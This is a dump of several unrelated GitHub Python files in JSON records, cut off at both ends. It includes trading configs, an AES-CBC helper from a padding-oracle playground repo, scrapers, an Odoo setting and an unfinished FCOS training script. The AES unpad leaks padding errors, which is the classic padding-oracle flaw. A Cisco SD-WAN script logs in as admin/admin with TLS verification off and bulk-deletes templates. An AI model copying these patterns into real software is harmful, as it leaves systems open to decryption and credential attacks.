session.commit()  # 稍后提到 for循环外面\n    #             logger.info('%d 条 合约手续费率 信息被更新', n + 1)\n    #         except:\n    #             logger.exception(\"%d) %s 合约手续费率 merge error:\\n%s\", n, instrument_id, instrument_info_dic)\n    #\n    # def load_instrument_commission_rate(self):\n    #     engine = self.get_db_engine(schema_name=self.DB_SCHEMA_MD)\n    #     try:\n    #         instrument_info_df = pd.read_sql('select * from instrumentcommissionrate', engine)\n    #         self.instrument_commission_rate_dic = {record['InstrumentID']: record for record in\n    #                                                instrument_info_df.to_dict('record')}\n    #     except:\n    #         logger.exception(\"加载合约手续费率信息失败\")\n\n\nclass ConfigProduct(ConfigBase):\n    # 国投安信\n    # api configuration\n    BROKER_ID = b'***'\n    USER_ID = b'***'\n    INVESTOR_ID = b'***'\n    PASSWORD = b'***'\n    FRONT_TRADER_ADDRESS = b'tcp://0.0.0.0:41205'\n    FRONT_MD_ADDRESS = b'tcp://0.0.0.0:41213'\n\n    # redis info\n    # REDIS_INFO_DIC = {'REDIS_HOST': '127.0.0.1',\n    #                   'REDIS_PORT': '6379',\n    #                   }\n    REDIS_INFO_DIC = {'REDIS_HOST': '192.168.239.131',\n                      'REDIS_PORT': '6379',\n                      }\n    _redis_client_dic = None\n\n    # celery schedule info\n    CELERYBEAT_SCHEDULE = {\n        'receive_save_md_moning': {\n            'task': 'tasks.save_md',\n            'schedule': crontab(minute=55, hour=8, day_of_week='1-5'),\n        },\n        'receive_save_md_night': {\n            'task': 'tasks.save_md',\n            'schedule': crontab(minute=55, hour=20, day_of_week='1-5'),\n        },\n    }\n\n    def __init__(self):\n        super().__init__()\n        self.MONGO_INFO_DIC['MONGO_DB_NAME'] = 'ctp'\n        # celery info\n        self.CELERY_INFO_DIC = {\n            'TASK_PID_KEY': \"task:save_md:pid\",\n            'CELERY_TIMEZONE': 'Asia/Shanghai',\n            'BROKER_URL': 'redis://%(REDIS_HOST)s:%(REDIS_PORT)s/13' % self.REDIS_INFO_DIC,\n            'CELERY_RESULT_BACKEND': 'redis://%(REDIS_HOST)s:%(REDIS_PORT)s/14' % self.REDIS_INFO_DIC,\n            'REDIS_DB_OTHER': '15',\n        }\n\n\nclass ConfigTest(ConfigBase):\n    DB_SCHEMA_MD = 'future_md_test'\n\n# 开发配置（SIMNOW MD + Trade）\n# Config = ConfigBase()\n# 测试配置（测试行情库）\n# Config = ConfigTest()\n# 生产配置\nConfig = ConfigProduct()\n\n# 设定默认日志格式\nlogging.basicConfig(level=logging.DEBUG, format=Config.LOG_FORMAT)\nlogging.getLogger('requests.packages.urllib3.connectionpool').setLevel(logging.WARNING)\nlogging.getLogger('urllib3.connectionpool').setLevel(logging.WARNING)\nlogging.getLogger('MdCombiner').setLevel(logging.INFO)\nlogging.getLogger('MdMin1Combiner').setLevel(logging.INFO)\nlogging.getLogger('EventAgent').setLevel(logging.INFO)\n\n\n# 配置文件日至\nRthandler = RotatingFileHandler('log.log', maxBytes=10*1024*1024,backupCount=5)\nRthandler.setLevel(logging.INFO)\nformatter = logging.Formatter(Config.LOG_FORMAT)\nRthandler.setFormatter(formatter)\nlogging.getLogger('').addHandler(Rthandler)\n\n# Celery 的调度器的配置是在 CELERYBEAT_SCHEDULE 这个全局变量上配��的，\n# 我们可以将配置写在一个独立的 Python 模块，在定义 Celery 对象的时候加载这个模块。\nCELERY_RESULT_BACKEND = Config.CELERY_INFO_DIC['CELERY_RESULT_BACKEND']\nBROKER_URL = Config.CELERY_INFO_DIC['BROKER_URL']\nCELERYBEAT_SCHEDULE = Config.CELERYBEAT_SCHEDULE\n\n\ndef with_mongo_client():\n    return ClientWrapper(MongoClient('mongodb://%(MONGO_DB_URL)s:%(MONGO_DB_PORT)s/' % Config.MONGO_INFO_DIC))\n\n\ndef with_mongo_db(action, db_name=None):\n    if db_name is None:\n        db_name = Config.MONGO_INFO_DIC['MONGO_DB_NAME']\n    with with_mongo_client() as client:\n        return action(client[db_name])\n\n\ndef with_mongo_collection(action, collectoin_name, db_name=None):\n    if db_name is None:\n        db_name = Config.MONGO_INFO_DIC['MONGO_DB_NAME']\n    with with_mongo_client() as client:\n        return action(client[db_name][collectoin_name])\n\n\nif __name__ == \"__main__\":\n    pass\n    # with with_mongo_client() as client:\n    #     client[Config.MONGO_INFO_DIC['MONGO_DB_NAME']].create_collection('hello')\n\n    # with_mongo_collection(lambda collection: [print(raw) for raw in collection.find()],\n    #                            'hello', db_name='test')\n    # client = MongoClient('mongodb://%s:%s/' % (Config.MONGO_DB_URL, Config.MONGO_DB_PORT))  # 'mongodb://mg:***@10.0.3.66:27017/'\n    # client = MongoClient('10.0.3.66\", \"27017')  # 'mongodb://mg:***@10.0.3.66:27017/'\n    # collection = client['test']['hello']\n    # [print(raw) for raw in collection.find()]\n","repo_name":"mmmaaaggg/QABAT","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":35245,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"13291612198","text":"from Crypto.Cipher import AES\n\n# for debugging\nfrom binascii import hexlify, unhexlify\nfrom ipdb import set_trace\n\nBLOCKSIZE = None\n\nclass AESCipher(object):\n\n    def __init__(self, key, iv, block_size):\n        global BLOCKSIZE\n        self.key = key\n        self.iv = iv\n        self.bs = block_size\n        BLOCKSIZE = block_size\n\n\n    def encrypt(self, raw):\n        # raw:    string or bytes to encrypt\n        # return: ciphertext in bytes\n        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)\n        cipher_text = cipher.encrypt(AESCipher.pad(raw))\n        print(\"Plaintext      %s %s \" % (hexlify(raw)[:32], hexlify(raw)[32:]))\n        print(\"Encrypted      %s %s \" % (hexlify(cipher_text)[:32], hexlify(cipher_text)[32:]))\n        return cipher_text\n\n\n    def decrypt(self, enc):\n        # enc:    ciphertext in bytes\n        # return: plaintext as string\n        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)\n        plain_padded = cipher.decrypt(enc)\n        print(\"Encrypted      %s %s \" % (hexlify(enc)[:32], hexlify(enc)[32:]))\n        print(\"Decrypted      %s %s \" % (hexlify(plain_padded)[:32], hexlify(plain_padded)[32:]))\n        plain = AESCipher.unpad(plain_padded)\n        return plain\n\n    @staticmethod\n    def pad(plaintext):\n        return plaintext + (BLOCKSIZE - len(plaintext) % BLOCKSIZE) * \\\n               chr(BLOCKSIZE - len(plaintext) % BLOCKSIZE)\n\n    @staticmethod\n    def unpad(plaintext):\n        last_byte = ord(plaintext[-1])\n        if last_byte > BLOCKSIZE or last_byte == 0:\n            raise Exception(\"Padding Exception\")\n        for i in range(last_byte):\n            if ord(plaintext[-i-1]) != last_byte:\n                raise Exception(\"Padding Exception\")\n        return plaintext [:-last_byte]\n","repo_name":"kmille/padding-oracle-playground","sub_path":"crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3398176748","text":"#!/usr/bin/env python3\n\nimport itertools\nimport sys\nfrom graph import Graph\n\n\ndef main(n):\n    g = Graph.from_edge_list_file(sys.stdin)\n    for clique in find_cliques(g, n):\n        print(' '.join(str(n) for n in clique))\n\n\ndef find_cliques(g, size):\n    cliques_by_size = { 2: g.edges() }\n    for n in range(3, size + 1):\n        cliques_by_size[n] = find_larger_cliques(g, cliques_by_size[n - 1])\n    return cliques_by_size[size]\n\n\ndef find_larger_cliques(g, prev_cliques):\n    '''\n    g: An undirected graph\n    prev_cliques: All cliques of some size n in g\n\n    Returns: All cliques of size n+1\n\n    Based on https://iq.opengenus.org/algorithm-to-find-cliques-of-a-given-size-k/\n    '''\n    result = set()\n    for c1, c2 in itertools.combinations(prev_cliques, 2):\n        vertices = set(c1) ^ set(c2)\n        if len(vertices) == 2 and g.has_edge(*vertices):\n            result.add(tuple(sorted(set(c1) | vertices)))\n    return result\n\n\nif __name__ == '__main__':\n    try:\n        n = int(sys.argv[1])\n    except:\n        print('Usage: cat GRAPH | python3 find_cliques.py N')\n        exit()\n\n    main(n)\n","repo_name":"prendradjaja/euler100","sub_path":"060--prime-pair-sets/find_cliques.py","file_name":"find_cliques.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21751177949","text":"# -*- coding: utf-8 -*-\n\n#from openerp import models, fields, api, _\n#from openerp.exceptions import Warning\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import Warning, UserError\nfrom odoo.exceptions import UserError\n\nclass ResConfigSettings(models.TransientModel):\n#     _inherit = 'sale.config.settings'\n    _inherit = 'res.config.settings' #odoo11\n\n    commission_based_on = fields.Selection([\n        ('sales_team', 'Sales Team'),\n        ('product_category', 'Product Category'),\n        ('product_template', 'Product')], \n        string=\"Calculation Based On\",\n        related=\"company_id.commission_based_on\",\n        readonly=False,\n    )\n    when_to_pay = fields.Selection([\n        ('sales_confirm', 'Sales Confirmation'),\n        ('invoice_validate', 'Invoice Validate'),\n        ('invoice_payment', 'Customer Payment')], \n        string=\"When To Pay\",\n        related=\"company_id.when_to_pay\",\n        readonly=False,\n    )\n    \n#     @api.multi\n#     def set_commission_based_on_defaults(self):\n#         if self.when_to_pay == 'invoice_payment':\n#             if self.commission_based_on == 'product_category' or self.commission_based_on == 'product_template':\n#                 raise UserError(_(\"Sales Commission: You can not have commision based on product or category if you have selected when to pay is payment.\"))\n#         return self.env['ir.values'].sudo().set_default(\n#             'sale.config.settings', 'commission_based_on', self.commission_based_on)\n# \n#     @api.multi\n#     def set_when_to_pay_defaults(self):\n#         return self.env['ir.values'].sudo().set_default(\n#             'sale.config.settings', 'when_to_pay', self.when_to_pay)\n\n#    @api.model\n#    def get_values(self):\n#        res = super(ResConfigSettings, self).get_values()\n#        params = self.env['ir.config_parameter'].sudo()\n#        res.update(\n#            when_to_pay = params.get_param('sales_commission_external_user.when_to_pay'),\n#            commission_based_on = params.get_param('sales_commission_external_user.commission_based_on')\n#        )\n#        return res\n\n##    @api.multi\n    def set_values(self):\n        super(ResConfigSettings, self).set_values()\n        ICPSudo = self.env['ir.config_parameter'].sudo()\n        ICPSudo.set_param(\"sales_commission_external_user.when_to_pay\", self.when_to_pay)\n        if not self.env.context.get('skip'): #odoo11 skip real_estate_property_app\n            if self.when_to_pay == 'invoice_payment':\n                if self.commission_based_on == 'product_category' or self.commission_based_on == 'product_template':\n                    raise UserError(_(\"Sales Commission: You can not have commision based on product or category if you have selected when to pay is payment.\"))\n#                    raise UserError(_(\"Sales Commission: You can not have commision based on product or category if you have selected when to pay is payment.\"))\n        ICPSudo.set_param(\"sales_commission_external_user.commission_based_on\", self.commission_based_on)\n","repo_name":"b3aufrere/beau-frerealouer","sub_path":"sales_commission_external_user/models/res_config.py","file_name":"res_config.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"29423585239","text":"def numero_perfecto(n):\n    def suma_divisores(n):\n        divisores=[]\n        m=str(\"per\")\n        if n==0:\n            print (\"Número inválido\")\n        if n>0:\n            for i in range (1,n):\n                if (n%i==0):\n                    divisores.append(i)\n                    i=+1\n        if n<0:\n            for i in range (n+1,0):\n                if (n%i==0):\n                    divisores.append(abs(i))\n                    i=+1\n        suma=0\n        for e in divisores:\n            suma=suma+e  \n        if suma==n:\n            n=m\n            return True\n        if suma != n:\n            return False\n    nperfectos=[]\n    for e in range(1,n):\n        if suma_divisores(e)==suma_divisores(6):\n            nperfectos.append(e)\n            e=+1\n        else:\n            e=+1\n            pass\n    suma2=0\n    for c in nperfectos:\n            suma2=suma2+c\n    return suma_divisores(n)\n\nif __name__==\"__main__\":\n    n=int(input(\"Ingrese n: \"))\n    print(numero_perfecto(n))\n           ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema2_ej3/tema2_ej3_15635414.py","file_name":"tema2_ej3_15635414.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72343321849","text":"from typing import Dict, TypeVar, Iterable, Mapping, Optional, Tuple, Union\n\nfrom collectionish.utils import is_valid_identifier\n\nT = TypeVar('T')\nInitFromT = Union[Mapping[str, T], Iterable[Tuple[str, T]]]\n\n\ndef _unpack_args(iterable_or_mapping: Optional[InitFromT] = None, **kwargs):\n    if iterable_or_mapping:\n        if isinstance(iterable_or_mapping, dict):\n            yield from iterable_or_mapping.items()\n        else:\n            yield from iterable_or_mapping\n    yield from kwargs.items()\n\n\nclass AttyDict(Dict[str, T]):\n\n    \"\"\"A lightweight dictionary with dot access.\n\n    ``attydicts`` are dictionaries witch allow access to values values through dot notation.\n    The limitation there is that their keys must be strings ( and valid python identifiers )\n    but sometimes this is what you want when working with json objects unpredictable json\n    or the like. That said, if you have sturctured data you'd  of course be much better off \\\n    using a structured datatype.\n\n    Example:\n\n        initilize a basic attydict:\n\n        >>> from collectionish import AttyDict\n        >>>\n        >>> the_sea = AttyDict(crabs=10, fish=2)\n        >>> the_sea\n        {'crabs': 10, 'fish': 2}\n\n        access stuff with dots:\n\n        >>> the_sea.crabs += 1\n        >>> the_sea.crabs\n        11\n\n        nested stuff will also have attr access:\n\n        >>> the_sea.update(submarines= {'sandwich': 0, 'actual': 1})\n        >>> the_sea\n        {'crabs': 11, 'fish': 2, 'submarines': {'sandwich': 0, 'actual': 1}}\n        >>> the_sea.submarines.actual\n        1\n\n        we handle name clashes in a similar way to pandas - Reserved names can be set using\n        standard dict access:\n\n        >>> the_sea['pop'] = 'corn'\n        >>> the_sea\n        {'crabs': 11, 'fish': 2, 'submarines': {'sandwich': 0, 'actual': 1}, 'pop': 'corn'}\n        >>> the_sea.pop('pop')\n        'corn'\n        >>> the_sea\n        {'crabs': 11, 'fish': 2, 'submarines': {'sandwich': 0, 'actual': 1}}\n\n        and as youd expect lists containing dictionaries just work...\n\n        >>> the_sea.whales = [{'killer': 1}, {'humpback': 2}, 'mr. whale']\n        >>> the_sea.whales[1].humpback\n        2\n    \"\"\"\n\n    @classmethod\n    def _attrify(cls, value):\n        if hasattr(value, '__iter__'):\n            if isinstance(value, (list, tuple)):\n                return type(value)(cls._attrify(v) for v in value)\n            if isinstance(value, dict) and not isinstance(value, cls):\n                return cls(**value)\n        return value\n\n    def __setattr__(self, key: str, value: T):\n        self[key] = value\n\n    def __init__(self, iterable_or_mapping: Optional[InitFromT] = None, **kwargs):\n        for k, v in _unpack_args(iterable_or_mapping, **kwargs):\n            self.__setitem__(k, v)\n\n    def _validate_key(self, s: str):\n        if not isinstance(s, str):\n            raise TypeError(f'{self.__class__.__name__} keys must be strings.')\n        if not is_valid_identifier(s):\n            raise SyntaxError(f'{self.__class__.__name__} keys must be valid python identifiers.')\n\n    def __setitem__(self, key: str, value: T):\n        if key not in self:\n            self._validate_key(key)\n        dict.__setitem__(self, key, self._attrify(value))\n\n    def update(self, **kwargs):\n        for k, v in kwargs.items():\n            self[k] = v\n\n    def __getattr__(self, key: str) -> T:\n        try:\n            return self[key]  # type:ignore\n        except KeyError:\n            raise AttributeError(key)\n","repo_name":"leaprovenzano/collectionish","sub_path":"src/collectionish/_attydict.py","file_name":"_attydict.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"31893984399","text":"import typing as t\nimport unicodedata\n\nfrom bs4 import BeautifulSoup, NavigableString\n\nfrom gospel_search.utils import logger\nfrom gospel_search.mongodb.segment import Segment, Segmentable\nfrom gospel_search.web_scraping.utils import (\n    get_content_body,\n    get_related_content,\n)\nfrom gospel_search.web_scraping.scripture.utils import (\n    parse_scripture_chapter_url,\n    book_map,\n    find_scripture_refs,\n)\nfrom gospel_search.web_scraping.page import Page\n\n\nclass Verse:\n\n    FOOTNOTE_LINK_QUERY = {\"name\": \"a\", \"class\": \"study-note-ref\"}\n\n    def __init__(self, v_soup: BeautifulSoup, rc_soup: BeautifulSoup):\n        \"\"\"\n        Takes a BeautifulSoup object for the `<p/>` tag of\n        a scripture chapter verse and processes it into\n        the verse's text and links.\n\n        Parameters\n        ----------\n        v_soup\n            The `BeautifulSoup` object corresponding to the verse\n            in question (just the `<p/>` tag).\n        rc_soup\n            The `BeautifulSoup` object corresponding to the Related\n            Content section of the talk.\n        \"\"\"\n        # TODO: this is not extracting any links currently.\n        self.links = find_scripture_refs(v_soup, self.FOOTNOTE_LINK_QUERY, rc_soup)\n\n        # Collect all the text for the verse, excluding the text\n        # for footnote letters and verse numbers.\n        self.text = \"\"\n        for child in v_soup.descendants:\n            if isinstance(child, NavigableString):\n                if child.parent.name in [\"sup\", \"span\"]:\n                    if any(\n                        class_ in [\"verse-number\", \"marker\"]\n                        for class_ in child.parent[\"class\"]\n                    ):\n                        continue\n                self.text += unicodedata.normalize(\"NFKC\", child)\n\n\nclass Chapter(Segmentable):\n    \"\"\"\n    Gets and extracts data about a chapter of scripture.\n    \"\"\"\n\n    VERSES_IN_BODY_QUERY = {\"name\": \"p\", \"class\": \"verse\"}\n\n    def __init__(self, page: Page) -> None:\n        logger.info(f\"processing {page._id}...\")\n        self.url = page._id\n        self.soup = BeautifulSoup(page.html, features=\"lxml\")\n\n        attrs = parse_scripture_chapter_url(self.url)\n        self.id: str = attrs[\"id\"]\n        self.volume: str = attrs[\"volume\"]\n        self.book_id: str = attrs[\"book_id\"]\n        self.ch: int = attrs[\"ch\"]\n        self.book_name: str = book_map[self.book_id][\"names\"][0]\n\n        self._set_segments()\n\n    def _set_segments(self) -> None:\n        self.verses: t.List[Verse] = []\n        self.nlinks = 0\n        body = get_content_body(self.soup)\n        related_content = get_related_content(self.soup)\n\n        verse_tags = body.find_all(**self.VERSES_IN_BODY_QUERY)\n        for verse_tag in verse_tags:\n            verse = Verse(verse_tag, related_content)\n            self.nlinks += len(verse.links)\n            self.verses.append(verse)\n\n    def to_segments(self) -> t.List[Segment]:\n        return [\n            Segment(\n                _id=f\"{self.id}.{i+1}\",\n                parent_id=self.id,\n                num=(i + 1),\n                doc_type=\"scriptures\",\n                text=v.text,\n                name=f\"{self.book_name} {self.ch}\",\n                links=v.links,\n                chapter=self.ch,\n                book_id=self.book_id,\n                volume=self.volume,\n            )\n            for i, v in enumerate(self.verses)\n        ]\n\n    def __str__(self) -> str:\n        return f\"\"\"\nChapter: \"{self.id}\"\n    url: {self.url}\n    length: {len(self.verses)} verses\n    nlinks: {self.nlinks}\n\n1st verse:\n{self.verses[0].text}\n        \"\"\"\n","repo_name":"epeters3/gospel-search","sub_path":"gospel_search/web_scraping/scripture/chapter.py","file_name":"chapter.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38633416131","text":"import requests\nimport sys\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\n\n\n### Enter url for your environment - for example sdwan-reservable - 'https://10.10.20.90\nbaseurl = 'https://172.16.1.141'\nurl = baseurl + '/j_security_check'\ndata = {\"j_username\" : \"admin\", \"j_password\" : \"admin\"}\nsess = requests.session()\nresponse = sess.post(url=url, data=data, verify=False)\n\nif response.status_code !=  200:\n\tprint('Login Failed')\n\tsys.exit(0)\n\n\nurl = baseurl +'/dataservice/template/feature'\n\nresponse = sess.get(url=url, verify=False)\nlistids = []\ndata = response.json()\nfor x in data['data']:\n    if x['factoryDefault'] != True:\n\n        listids.append(x['templateId'])\nif listids == []:\n    print('There are no custom feature Templates to delete')\n    sys.exit('No Templates')\n\nans = input('Do you want to delete ALL custom feature Templates? Y or N')\nif ans.lower() == 'y':\n    print('The following templates will be deleted\\n')\n    for x in data['data']:\n        if x['factoryDefault'] != True:\n            print(x['templateName'])\n    newans = input('\\n Again, do you really want to delete all these feature Templates? Y or N')\n    if newans.lower() == 'y':\n        for x in listids:\n            response = sess.delete(url=url + '/' + x)\n            print(response.status_code)\n\n\n","repo_name":"RunSi/SDWAN_Templates","sub_path":"deletetemplates.py","file_name":"deletetemplates.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"4165499367","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as plot\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\n\ndef predictModel(arr):\n    empdata = np.array(arr)\n    dataset=pd.read_csv(\"employee_dataint.csv\")\n    X=dataset.iloc[:,:35].values\n    X=np.delete(X,24,1)\n    X=np.delete(X,9,1)\n    y=dataset['PerformanceRating'].values\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = None)\n    sc = StandardScaler()\n    X_train = sc.fit_transform(X_train)\n    X_test = sc.transform(X_test)\n    row=sc.transform(empdata.reshape(1,-1))\n    logisticregression = LogisticRegression(solver='lbfgs', multi_class='multinomial')\n    logisticregression.fit(X_train, y_train)\n    y_pred = logisticregression.predict(X_test)\n    y_pred1= logisticregression.predict(row)\n    y_compare = np.vstack((y_test,y_pred)).T\n    cm = confusion_matrix(y_test, y_pred)\n    a = cm.shape\n    corrPred = 0\n    falsePred = 0\n    for row in range(a[0]):\n        for c in range(a[1]):\n            if row == c:\n                corrPred +=cm[row,c]\n            else:\n                falsePred += cm[row,c]\n    returndict = {'accuracy':corrPred/(cm.sum()), 'result':y_pred1}\n    return returndict\n","repo_name":"Sid200026/EinNel","sub_path":"EinNell/loginsignup/predictionModel.py","file_name":"predictionModel.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"1994594044","text":"\"\"\"\n类似 centernet—ms\n\"\"\"\nimport torch\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader, random_split\nimport math\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nfrom torchvision.ops import batched_nms\nfrom torch.optim.lr_scheduler import CosineAnnealingWarmRestarts, CosineAnnealingLR, CyclicLR\nfrom fvcore.nn import giou_loss\n\nfrom mmdet.models.utils import gaussian_radius as gaussian_radiusv1, gen_gaussian_target\nfrom mmdet.models.losses import GaussianFocalLoss, L1Loss, CrossEntropyLoss, GIoULoss\n# from mmdet.models.utils.gaussian_target import (get_local_maximum, get_topk_from_heatmap,\n#                                                 transpose_and_gather_feat)\n\nfrom toolcv.api.define.utils.model.base import _BaseNetV2, get_params\nfrom toolcv.api.define.utils.model.net import Backbone, _initParmas, FPN, FCOSHead, CBA\nfrom toolcv.api.define.utils.data.data import FruitsNutsDataset, LoadDataloader\nfrom toolcv.api.define.utils.data import augment as aug\nfrom toolcv.data.dataset import glob_format\n\nfrom toolcv.data.transform import gaussian_radius, draw_umich_gaussian\n# from toolcv.api.define.utils.model.mmdet import get_bboxes\nfrom toolcv.api.define.utils.tools.tools import get_bboxesv2\n\nonly_center = True  # 正样本时只使用中心点\n\nseed = 100\ntorch.manual_seed(seed)\n\nanchors = None\nstrides = 4\nuse_amp = False\naccumulate = 1\ngradient_clip_val = 1.0\nlrf = 0.1\nlr = 3e-3\nweight_decay = 5e-6\nepochs = 50\nbatch_size = 4\nh, w = 512, 512\nresize = (h, w)\ndir_data = r\"D:/data/fruitsNuts/\"\nclasses = ['date', 'fig', 'hazelnut']\nnum_classes = len(classes)\ndevice = 'cuda:0' if torch.cuda.is_available() else 'cpu'\n# if torch.cuda.is_available():\n#     device = torch.device('cuda:0')\n#     torch.backends.cudnn.benchmark = True\n# else:\n#     device = torch.device('cpu')\n\n# -------------------data-------------------\nuse_mosaic = False\nmethod = 'both_sides'\nif use_mosaic:\n    transforms = aug.Compose([\n        # aug.RandomHorizontalFlip(),\n        # aug.Resize(*resize),\n        # aug.ResizeMax(*resize), aug.Padding(),\n        aug.ToTensor(), aug.Normalize()])\n\n    transforms_mosaic = aug.Compose([\n        aug.RandomBlur(),\n        aug.RandomHorizontalFlip(),\n        aug.ResizeMax(*resize), aug.Padding(),\n        aug.RandomColorJitter([0.3, 0.6], [0.3, 0.6], [0.3, 0.6])\n    ])\nelse:\n    transforms = aug.Compose([\n        aug.RandomHorizontalFlip(),\n        aug.ResizeMax(*resize), aug.Padding(pad_mode=method),\n        aug.ToTensor(), aug.Normalize()\n    ])\n    # transforms = aug.Compose([\n    #     aug.RandomHorizontalFlip(),\n    #     # aug.Crop(),aug.WarpAffine(0),\n    #     # aug.Resize(*resize),\n    #     # aug.ResizeMax(*resize), aug.Padding(),\n    #     # aug.RandomChoice([baug.RandomBlur(), baug.RandomNoise(), aug.RandomColorJitter()]),\n    #     # aug.RandomChoice([baug.RandomDropPixelV2(0), baug.RandomRotate(), baug.RandomMosaicV2()]),\n    #     # aug.RandomChoice([[aug.ResizeMax(*resize), aug.Padding()],\n    #     #                   [baug.ResizeFixMinAndRandomCropV2(ratio_range=[0.5, 0.6, 0.7, 0.8, 0.9]),\n    #     #                    aug.Resize(*resize)]]),\n    #     baug.ResizeFixMinAndRandomCropV2AndPatch([100, 200, 300, 400, 500, 600], [0.5, 0.6, 0.7, 0.8, 0.9]),\n    #     aug.Resize(*resize),\n    #     aug.ToTensor(), aug.Normalize()])\n    transforms_mosaic = None\n\ntest_transforms = aug.Compose([\n    # aug.Resize(*resize),\n    aug.ResizeMax(*resize), aug.Padding(pad_mode=method),\n    aug.ToTensor(), aug.Normalize()])\n\"\"\"\ndataset = FruitsNutsDataset(dir_data, classes, test_transforms, 0, use_mosaic=use_mosaic,\n                            transforms_mosaic=transforms_mosaic, h=h, w=w)\ndataset.show(20,mode='cv2')\nexit(0)\ndataloader = LoadDataloader(dataset, None, 0.2, batch_size, {})\ntrain_dataLoader, val_dataLoader = dataloader.train_dataloader(), dataloader.val_dataloader()\n\"\"\"\ntrain_dataset = FruitsNutsDataset(dir_data, classes, transforms, 0, use_mosaic=use_mosaic,\n                                  transforms_mosaic=transforms_mosaic, h=h, w=w, mosaic_mode=0)\nval_dataset = FruitsNutsDataset(dir_data, classes, test_transforms, 0, use_mosaic=False,\n                                transforms_mosaic=None, h=h, w=w)\ndataloader = LoadDataloader(train_dataset, val_dataset, 0.0, batch_size, {})\ntrain_dataLoader, val_dataLoader = dataloader.train_dataloader(), dataloader.val_dataloader()\n\n\n# ----------------model --------------------------\n\nbackbone = Backbone('dla34', True, num_out=3, freeze_at=5)\n# neck = FPN(backbone.out_channels, 256, Conv2d=nn.Conv2d)\nneck = FPN(backbone.out_channels, 256, Conv2d=CBA)\nhead = FCOSHead(256, num_classes, use_gn=True)  # head 一般不使用BN 但可以使用GN\n_initParmas(neck.modules(), mode='kaiming')\n_initParmas(head.modules(), mode='normal')\nmodel = nn.Sequential(backbone, neck, head).to(device)\n\nINF = 1e8\n# regress_ranges = ((-1, 64), (64, 128), (128, 256), (256, 512), (512, INF))\n# regress_ranges = ((-1, 32), (32, 64), (64, 128), (128, 256), (256, INF))\nregress_ranges = ((-1, 32), (32, 96), (96, 224), (224, 480), (480, INF))\n\n\nclass Fcos(_BaseNetV2):\n    def __init__(self, model, num_classes, img_shape=(), anchors=None, strides=4,\n                 epochs=10, lr=5e-4, weight_decay=5e-5, lrf=0.1,\n                 warmup_iters=1000, gamma=0.5, optimizer=None, scheduler=None,\n                 use_amp=True, accumulate=4, gradient_clip_val=0.1,\n                 device='cpu', criterion=None, train_dataloader=None, val_dataloader=None):\n        super().__init__(model, num_classes, img_shape, anchors, strides, epochs, lr, weight_decay, lrf, warmup_iters,\n                         gamma, optimizer, scheduler, use_amp, accumulate, gradient_clip_val, device, criterion,\n                         train_dataloader, val_dataloader)\n\n    def configure_optimizers(self):\n        params = get_params(self.model.modules(), self.lr, self.weight_decay, self.gamma)\n        self.optimizer = torch.optim.SGD(params, self.lr, momentum=0.9, weight_decay=self.weight_decay)\n        self.scheduler = CosineAnnealingWarmRestarts(self.optimizer, epochs, 2, self.lr * self.lrf)\n        # self.scheduler = CosineAnnealingLR(self.optimizer, epochs, self.lr * self.lrf)\n\n    def get_targets(self, imgs, targets, feat_shape):\n        bs, _, img_h, img_w = imgs.shape\n\n        ratio_list = []\n        target_list = []\n        for feat_h, feat_w in feat_shape:\n            width_ratio = float(feat_w / img_w)  # 1/stride\n            height_ratio = float(feat_h / img_h)  # 1/stride\n            ratio = torch.tensor([[width_ratio, height_ratio]], dtype=imgs.dtype)\n            ratio_list.append(ratio)\n\n            # 转换成最终的target\n            cls_target = imgs[0].new_zeros([bs, self.num_classes, feat_h, feat_w])\n            box_reg_target = imgs[0].new_zeros([bs, 4, feat_h, feat_w])\n            centerness_target = imgs[0].new_zeros([bs, 1, feat_h, feat_w])\n            target_list.append([cls_target, box_reg_target, centerness_target])\n\n        # 分配正负样本\n        for batch_id in range(bs):\n            gt_bbox = targets[batch_id]['boxes']\n            gt_label = targets[batch_id]['labels']\n\n            for i, (x1, y1, x2, y2) in enumerate(gt_bbox):\n                x1, y1, x2, y2 = x1.item(), y1.item(), x2.item(), y2.item()\n                label = gt_label[i].item()\n                cx = (x1 + x2) / 2\n                cy = (y1 + y2) / 2\n                gt_w = x2 - x1\n                gt_h = y2 - y1\n                for j, ratio in enumerate(ratio_list):\n                    [[width_ratio, height_ratio]] = ratio\n                    # 恢复到原图上\n                    stride = 1 / width_ratio.item()\n\n                    # center\n                    _cx = cx * width_ratio.item()\n                    _cy = cy * height_ratio.item()\n                    _cx_int = int(_cx)\n                    _cy_int = int(_cy)\n                    dcx = _cx - 